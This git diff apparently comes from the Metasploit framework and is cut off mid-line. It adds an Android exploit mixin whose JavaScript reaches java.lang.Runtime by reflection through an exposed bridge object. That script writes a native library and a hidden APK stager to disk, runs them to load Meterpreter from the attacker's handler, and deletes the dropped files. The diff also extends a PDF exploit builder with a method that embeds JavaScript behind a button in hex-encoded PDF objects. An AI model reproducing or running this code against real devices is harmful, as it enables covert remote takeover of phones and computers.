diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb new file mode 100644 index 0000000000..e0d7bd6c5f --- /dev/null +++ b/lib/msf/core/exploit/android.rb @@ -0,0 +1,101 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf +module Exploit::Android + + # Since the NDK stager is used, arch detection must be performed + SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] + + # Most android devices are ARM + DEFAULT_ARCH = ARCH_ARMLE + + # Some of the default NDK build targets are named differently than + # msf's builtin constants. This mapping allows the ndkstager file + # to be looked up from the msf constant. + NDK_FILES = { + ARCH_ARMLE => 'armeabi', + ARCH_MIPSLE => 'mips' + } + + def add_javascript_interface_exploit_js(arch) + stagename = Rex::Text.rand_text_alpha(5) + script = %Q| + function exec(runtime, cmdArr) { + var ch = 0; + var output = ''; + var process = runtime.exec(cmdArr); + var input = process.getInputStream(); + + while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } + return output; + } + + function attemptExploit(obj) { + // ensure that the object contains a native interface + try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } + + // get the pid + var pid = obj.getClass() + .forName('android.os.Process') + .getMethod('myPid', null) + .invoke(null, null); + + // get the runtime so we can exec + var runtime = obj.getClass() + .forName('java.lang.Runtime') + .getMethod('getRuntime', null) + .invoke(null, null); + + // libraryData contains the bytes for a native shared object built via NDK + // which will load the "stage", which in this case is our android meterpreter stager. + // LibraryData is loaded via ajax later, because we have to access javascript in + // order to detect what arch we are running. + var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; + + // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains + // another stager which loads android meterpreter from the msf handler. + var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; + + // get the process name, which will give us our data path + // $PPID does not seem to work on android 4.0, so we concat pids manually + var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); + + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; + var stagePath = path + '/#{stagename}.apk'; + + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['chmod', '700', libraryPath]).waitFor(); + + // build the stage, chmod it, and load it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['chmod', '700', stagePath]).waitFor(); + + // load the library (this fails in x86, figure out why) + runtime.load(libraryPath); + + // delete dropped files + runtime.exec(['rm', stagePath]).waitFor(); + runtime.exec(['rm', libraryPath]).waitFor(); + + return true; + } + + for (i in top) { if (attemptExploit(top[i]) === true) break; } + | + + # remove comments and empty lines + script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') + end + + + # The NDK stager is used to launch a hidden APK + def ndkstager(stagename, arch) + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') + data = File.read(localfile, :mode => 'rb') + data.gsub!('PLOAD', stagename) + end + +end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 995d8d9ad2..bafcf4a660 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -92,7 +92,7 @@ require 'msf/core/exploit/java' # WBEM require 'msf/core/exploit/wbemexec' -#WinRM +# WinRM require 'msf/core/exploit/winrm' # WebApp @@ -102,4 +102,8 @@ require 'msf/core/exploit/web' require 'msf/core/exploit/remote/firefox_privilege_escalation' require 'msf/core/exploit/remote/firefox_addon_generator' +# Android +require 'msf/core/exploit/android' + +# Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' diff --git a/lib/msf/core/exploit/pdf.rb b/lib/msf/core/exploit/pdf.rb index ee7afe937c..9412ad4b67 100644 --- a/lib/msf/core/exploit/pdf.rb +++ b/lib/msf/core/exploit/pdf.rb @@ -22,7 +22,7 @@ module Exploit::PDF ) # We're assuming we'll only create one pdf at a time here. - @xref = [] + @xref = {} @pdf = '' end @@ -148,13 +148,13 @@ module Exploit::PDF #PDF building block functions ## def header(version = '1.5') - hdr = "%PDF-1.5" << eol + hdr = "%PDF-#{version}" << eol hdr << "%" << RandomNonASCIIString(4) << eol hdr end def add_object(num, data) - @xref << @pdf.length + @xref[num] = @pdf.length @pdf << ioDef(num) @pdf << data @pdf << endobj @@ -174,18 +174,25 @@ module Exploit::PDF end def xref_table + id = @xref.keys.max+1 ret = "xref" << eol - ret << "0 %d" % (@xref.length + 1) << eol + ret << "0 %d" % id << eol ret << "0000000000 65535 f" << eol - @xref.each do |index| - ret << "%010d 00000 n" % index << eol - end + ret << (1..@xref.keys.max).map do |index| + if @xref.has_key?(index) + offset = @xref[index] + "%010d 00000 n" % offset << eol + else + "0000000000 00000 f" << eol + end + end.join + ret end - def trailer(root_obj) - ret = "trailer" << nObfu("<>" << eol - ret + def trailer(root_obj, space='') + id = @xref.keys.max+1 + "trailer" << space << "<>" << eol end def startxref @@ -196,7 +203,7 @@ module Exploit::PDF end def eol - "\x0d\x0a" + @eol || "\x0d\x0a" end def endobj @@ -267,7 +274,7 @@ module Exploit::PDF #Create PDF with Page implant ## def pdf_with_page_exploit(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header @@ -290,7 +297,7 @@ module Exploit::PDF # you try to merge the exploit PDF with an innocuous one ## def pdf_with_openaction_js(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header @@ -313,7 +320,7 @@ module Exploit::PDF #Create PDF with a malicious annotation ## def pdf_with_annot_js(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header @@ -332,5 +339,62 @@ module Exploit::PDF finish_pdf end + + ## + #Create PDF with a button onclick + ## + def pdf_with_button_js(js) + @xref = {} + @pdf = header('1.6') + + add_object(25, "\xd\x3c\x3c\x2f\x41\x63\x72\x6f\x46\x6f\x72\x6d\x20\x34\x30\x20\x30\x20\x52\x2f\x4d\x65\x74\x61\x64\x61\x74\x61\x20\x33\x20\x30\x20\x52\x2f\x4e\x61\x6d\x65\x73\x20\x33\x32\x20\x30\x20\x52\x2f\x4f\x75\x74\x6c\x69\x6e\x65\x73\x20\x37\x20\x30\x20\x52\x2f\x50\x61\x67\x65\x73\x20\x31\x36\x20\x30\x20\x52\x2f\x53\x70\x69\x64\x65\x72\x49\x6e\x66\x6f\x20\x32\x32\x20\x30\x20\x52\x2f\x53\x74\x72\x75\x63\x74\x54\x72\x65\x65\x52\x6f\x6f\x74\x20\x31\x30\x20\x30\x20\x52\x2f\x54\x79\x70\x65\x2f\x43\x61\x74\x61\x6c\x6f\x67\x3e\x3e\xd") + add_object(40, "\xd\x3c\x3c\x2f\x44\x41\x28\x2f\x48\x65\x6c\x76\x20\x30\x20\x54\x66\x20\x30\x20\x67\x20\x29\x2f\x44\x52\x3c\x3c\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3c\x3c\x2f\x50\x44\x46\x44\x6f\x63\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x34\x35\x20\x30\x20\x52\x3e\x3e\x2f\x46\x6f\x6e\x74\x3c\x3c\x2f\x48\x65\x42\x6f\x20\x33\x39\x20\x30\x20\x52\x2f\x48\x65\x6c\x76\x20\x34\x37\x20\x30\x20\x52\x2f\x5a\x61\x44\x62\x20\x34\x38\x20\x30\x20\x52\x3e\x3e\x3e\x3e\x2f\x46\x69\x65\x6c\x64\x73\x5b\x33\x38\x20\x30\x20\x52\x5d\x3e\x3e\xd") + add_object(3, "\xd\x3c\x3c\x2f\x4c\x65\x6e\x67\x74\x68\x20\x33\x33\x31\x33\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x58\x4d\x4c\x2f\x54\x79\x70\x65\x2f\x4d\x65\x74\x61\x64\x61\x74\x61\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x3c\x3f\x78\x70\x61\x63\x6b\x65\x74\x20\x62\x65\x67\x69\x6e\x3d\x22\xef\xbb\xbf\x22\x20\x69\x64\x3d\x22\x57\x35\x4d\x30\x4d\x70\x43\x65\x68\x69\x48\x7a\x72\x65\x53\x7a\x4e\x54\x63\x7a\x6b\x63\x39\x64\x22\x3f\x3e\xd\x3c\x78\x3a\x78\x6d\x70\x6d\x65\x74\x61\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x3d\x22\x61\x64\x6f\x62\x65\x3a\x6e\x73\x3a\x6d\x65\x74\x61\x2f\x22\x20\x78\x3a\x78\x6d\x70\x74\x6b\x3d\x22\x41\x64\x6f\x62\x65\x20\x58\x4d\x50\x20\x43\x6f\x72\x65\x20\x35\x2e\x34\x2d\x63\x30\x30\x35\x20\x37\x38\x2e\x31\x34\x37\x33\x32\x36\x2c\x20\x32\x30\x31\x32\x2f\x30\x38\x2f\x32\x33\x2d\x31\x33\x3a\x30\x33\x3a\x30\x33\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3e\xd\x20\x20\x20\x3c\x72\x64\x66\x3a\x52\x44\x46\x20\x78\x6d\x6c\x6e\x73\x3a\x72\x64\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\x32\x2d\x72\x64\x66\x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\x22\x3e\xd\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x20\x72\x64\x66\x3a\x61\x62\x6f\x75\x74\x3d\x22\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x6d\x70\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\x70\x2f\x31\x2e\x30\x2f\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x64\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x70\x75\x72\x6c\x2e\x6f\x72\x67\x2f\x64\x63\x2f\x65\x6c\x65\x6d\x65\x6e\x74\x73\x2f\x31\x2e\x31\x2f\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x6d\x70\x4d\x4d\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\x70\x2f\x31\x2e\x30\x2f\x6d\x6d\x2f\x22\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x70\x64\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x70\x64\x66\x2f\x31\x2e\x33\x2f\x22\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x4d\x6f\x64\x69\x66\x79\x44\x61\x74\x65\x3e\x32\x30\x31\x34\x2d\x30\x35\x2d\x33\x31\x54\x31\x32\x3a\x31\x34\x3a\x32\x36\x2d\x30\x35\x3a\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x4d\x6f\x64\x69\x66\x79\x44\x61\x74\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x65\x44\x61\x74\x65\x3e\x32\x30\x31\x34\x2d\x30\x33\x2d\x33\x31\x54\x31\x33\x3a\x33\x35\x3a\x35\x31\x2b\x30\x32\x3a\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x65\x44\x61\x74\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x4d\x65\x74\x61\x64\x61\x74\x61\x44\x61\x74\x65\x3e\x32\x30\x31\x34\x2d\x30\x35\x2d\x33\x31\x54\x31\x32\x3a\x31\x34\x3a\x32\x36\x2d\x30\x35\x3a\x30\x30\x3c\x2f\x78\x6d\x70\x3a\x4d\x65\x74\x61\x64\x61\x74\x61\x44\x61\x74\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3e\x41\x64\x6f\x62\x65\x20\x41\x63\x72\x6f\x62\x61\x74\x20\x31\x31\x2e\x30\x3c\x2f\x78\x6d\x70\x3a\x43\x72\x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x66\x6f\x72\x6d\x61\x74\x3e\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x70\x64\x66\x3c\x2f\x64\x63\x3a\x66\x6f\x72\x6d\x61\x74\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x74\x69\x74\x6c\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x41\x6c\x74\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x20\x78\x6d\x6c\x3a\x6c\x61\x6e\x67\x3d\x22\x78\x2d\x64\x65\x66\x61\x75\x6c\x74\x22\x3e\x6a\x73\x2e\x74\x78\x74\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x41\x6c\x74\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x64\x63\x3a\x74\x69\x74\x6c\x65\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x4d\x4d\x3a\x44\x6f\x63\x75\x6d\x65\x6e\x74\x49\x44\x3e\x75\x75\x69\x64\x3a\x39\x64\x38\x35\x36\x39\x65\x65\x2d\x37\x66\x64\x38\x2d\x34\x34\x62\x61\x2d\x39\x63\x38\x63\x2d\x36\x65\x35\x32\x32\x35\x33\x35\x39\x62\x61\x35\x3c\x2f\x78\x6d\x70\x4d\x4d\x3a\x44\x6f\x63\x75\x6d\x65\x6e\x74\x49\x44\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x78\x6d\x70\x4d\x4d\x3a\x49\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\x75\x75\x69\x64\x3a\x34\x63\x37\x30\x34\x36\x62\x34\x2d\x30\x34\x39\x33\x2d\x39\x30\x34\x62\x2d\x61\x35\x35\x32\x2d\x64\x63\x31\x37\x38\x32\x63\x62\x33\x62\x62\x31\x3c\x2f\x78\x6d\x70\x4d\x4d\x3a\x49\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x70\x64\x66\x3a\x50\x72\x6f\x64\x75\x63\x65\x72\x3e\x41\x63\x72\x6f\x62\x61\x74\x20\x57\x65\x62\x20\x43\x61\x70\x74\x75\x72\x65\x20\x31\x31\x2e\x30\x3c\x2f\x70\x64\x66\x3a\x50\x72\x6f\x64\x75\x63\x65\x72\x3e\xd\x20\x20\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x3e\xd\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x52\x44\x46\x3e\xd\x3c\x2f\x78\x3a\x78\x6d\x70\x6d\x65\x74\x61\x3e\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\xd\x3c\x3f\x78\x70\x61\x63\x6b\x65\x74\x20\x65\x6e\x64\x3d\x22\x77\x22\x3f\x3e\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + add_object(32, "\xd\x3c\x3c\x2f\x49\x44\x53\x20\x31\x37\x20\x30\x20\x52\x2f\x55\x52\x4c\x53\x20\x31\x38\x20\x30\x20\x52\x3e\x3e\xd") + add_object(7, "\xd\x3c\x3c\x2f\x43\x6f\x75\x6e\x74\x20\x32\x2f\x46\x69\x72\x73\x74\x20\x38\x20\x30\x20\x52\x2f\x4c\x61\x73\x74\x20\x38\x20\x30\x20\x52\x2f\x54\x79\x70\x65\x2f\x4f\x75\x74\x6c\x69\x6e\x65\x73\x3e\x3e\xd") + add_object(16, "\xd\x3c\x3c\x2f\x43\x6f\x75\x6e\x74\x20\x31\x2f\x4b\x69\x64\x73\x5b\x32\x36\x20\x30\x20\x52\x5d\x2f\x54\x79\x70\x65\x2f\x50\x61\x67\x65\x73\x3e\x3e\xd") + add_object(22, "\xd\x3c\x3c\x2f\x56\x20\x31\x2e\x32\x35\x3e\x3e\xd") + add_object(10, 